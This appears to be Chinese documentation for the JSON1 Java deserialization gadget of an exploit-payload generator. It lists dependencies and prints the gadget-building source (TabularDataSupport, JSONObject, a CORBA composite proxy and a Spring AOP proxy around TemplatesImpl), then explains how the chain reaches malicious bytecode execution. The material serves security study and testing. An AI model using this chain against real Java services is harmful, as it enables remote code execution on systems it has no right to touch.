Skip to content

Latest commit

 

History

History
74 lines (64 loc) · 5.64 KB

File metadata and controls

74 lines (64 loc) · 5.64 KB

JSON1链(JSON1)

  • 类别:javanative 别名:— 优先级:—
  • 作者:mbechler
  • 依赖net.sf.json-lib:json-lib:jar:jdk15:2.4org.springframework:spring-aop:4.1.4.RELEASEaopalliance:aopalliance:1.0commons-logging:commons-logging:1.2commons-lang:commons-lang:2.6net.sf.ezmorph:ezmorph:1.0.6commons-beanutils:commons-beanutils:1.9.2org.springframework:spring-core:4.1.4.RELEASEcommons-collections:commons-collections:3.1

作用

经典 net.sf.json-lib(JSON-Lib)反序列化跳板。利用 TabularDataSupport.equalsCompositeData.getCompositeType/JSONObject 取值路径,最终经 Spring AOP 的 JdkDynamicAopProxy 把调用转发到内层被包裹对象(通常是 TemplatesImpl)的 Templates 接口方法,触发 newTransformer() → 加载恶意字节码。是把 JavaNativeDeserialize 入口衔接到 TemplatesImplChain 的中间 gadget。

链接标签

  • 入口 tagsJavaNativeDeserialize —— 承接 Java 原生反序列化入口。
  • 衔接 nextTagsTemplatesImplChain —— 之后必须接 TemplatesImpl 系列 gadget(提供实现 Templates 接口、newTransformer 触发字节码的内层对象)。
  • excludes:空。

源码剖析

invoke 取内层对象后交给 getObject → makeCallerChain

public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject(chain.doCreate(context));   // 内层通常是 TemplatesImpl
}
public Map getObject(Object templateImpl) throws Exception {
    return JSON1.makeCallerChain(templateImpl, Templates.class);   // ifaces = Templates
}

makeCallerChain 构建两个 TabularDataSupport 触发 equals 的 hashCode 碰撞结构:

CompositeType rt = new CompositeType("a","b", new String[]{"a"}, new String[]{"a"}, new OpenType[]{SimpleType.INTEGER});
TabularType tt = new TabularType("a","b", rt, new String[]{"a"});
TabularDataSupport t1 = new TabularDataSupport(tt);
TabularDataSupport t2 = new TabularDataSupport(tt);

AdvisedSupport as = new AdvisedSupport();
as.setTarget(payload);                                                 // Spring AOP 目标 = payload
InvocationHandler delegateInvocationHandler =
    (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as);
InvocationHandler cdsInvocationHandler =
    PayloadHelper.createMemoizedInvocationHandler(PayloadHelper.createMap("getCompositeType", rt));
InvocationHandler invocationHandler =
    (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl", new Object[0]);
((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler);
Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler);
CompositeData cdsProxy = PayloadHelper.createProxy(invocationHandler, CompositeData.class, ifaces);   // 同时实现 CompositeData + Templates

JSONObject jo = new JSONObject();
HashMap<String,CompositeData> m = new HashMap<>();
m.put("t", cdsProxy);
Reflections.setFieldValue(jo, "properties", m);
Reflections.setFieldValue(t1, "dataMap", jo);
Reflections.setFieldValue(t2, "dataMap", jo);
return PayloadHelper.makeMap(t1, t2);

逐段解释:

  • 触发骨架PayloadHelper.makeMap(t1, t2) 把两个 TabularDataSupport 放进一个会在 readObject/HashMap 恢复时比较键、进而调用 TabularDataSupport.equals 的结构;equals 内部会走到对 dataMap(此处被反射改成 JSONObject)的取值,最终触碰到 cdsProxy
  • 复合代理 cdsProxy:它同时实现 CompositeDataTemplatesifaces)。其 InvocationHandlerCompositeInvocationHandlerImpl
    • CompositeData 类型的方法(如 getCompositeType)→ 走 cdsInvocationHandler(memoized,直接返回预置的 rt),满足 JSON-Lib/TabularData 内部逻辑不抛异常;
    • 其余方法 → 走 defaultHandler = JdkDynamicAopProxy(as)as.target = payload,于是对 Templates.newTransformer() 的调用被 Spring AOP 转发到真正的内层 TemplatesImpl
  • 字节码执行TemplatesImpl.newTransformer()getTransletInstance()defineTransletClasses()defineClass 恶意字节码 → 静态块/构造执行命令。
  • 注意 Reflections.setFieldValue(jo, "properties", m) 连写两次(反编译如实呈现),属冗余,不影响逻辑。

参数(@Param)

本类无 @Param。内层对象与最终字节码由下游 TemplatesImplChain(如 TemplatesImpl)提供并配置。

适用版本与原理要点

  • descriptionnet.sf.json-lib 链。核心承载是 JSON-Lib 的 JSONObject + JMX 的 TabularDataSupport/CompositeData + Spring AOP JdkDynamicAopProxy + CORBA 的 CompositeInvocationHandlerImpl
  • 依赖繁多:需同时具备 json-lib 2.4、spring-aop 4.1.4、commons-beanutils 1.9.2、ezmorph 等;缺一不可,故落地条件较苛刻。
  • CompositeInvocationHandlerImplcom.sun.corba.se.*,在移除 CORBA 的高版本 JDK(JDK 11+)上不可用。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。可作为 JavaNativeDeserializeTemplatesImplChain 的替代跳板。

关联

  • 下游(nextTags=TemplatesImplChain):TemplatesImpl(提供 newTransformer 触发字节码)
  • 同类 Java 原生跳板:CommonsBeanutils1Jackson(不同触发原语,同样衔接 TemplatesImpl)
  • 上游入口:任何 JavaNativeDeserialize 反序列化 sink。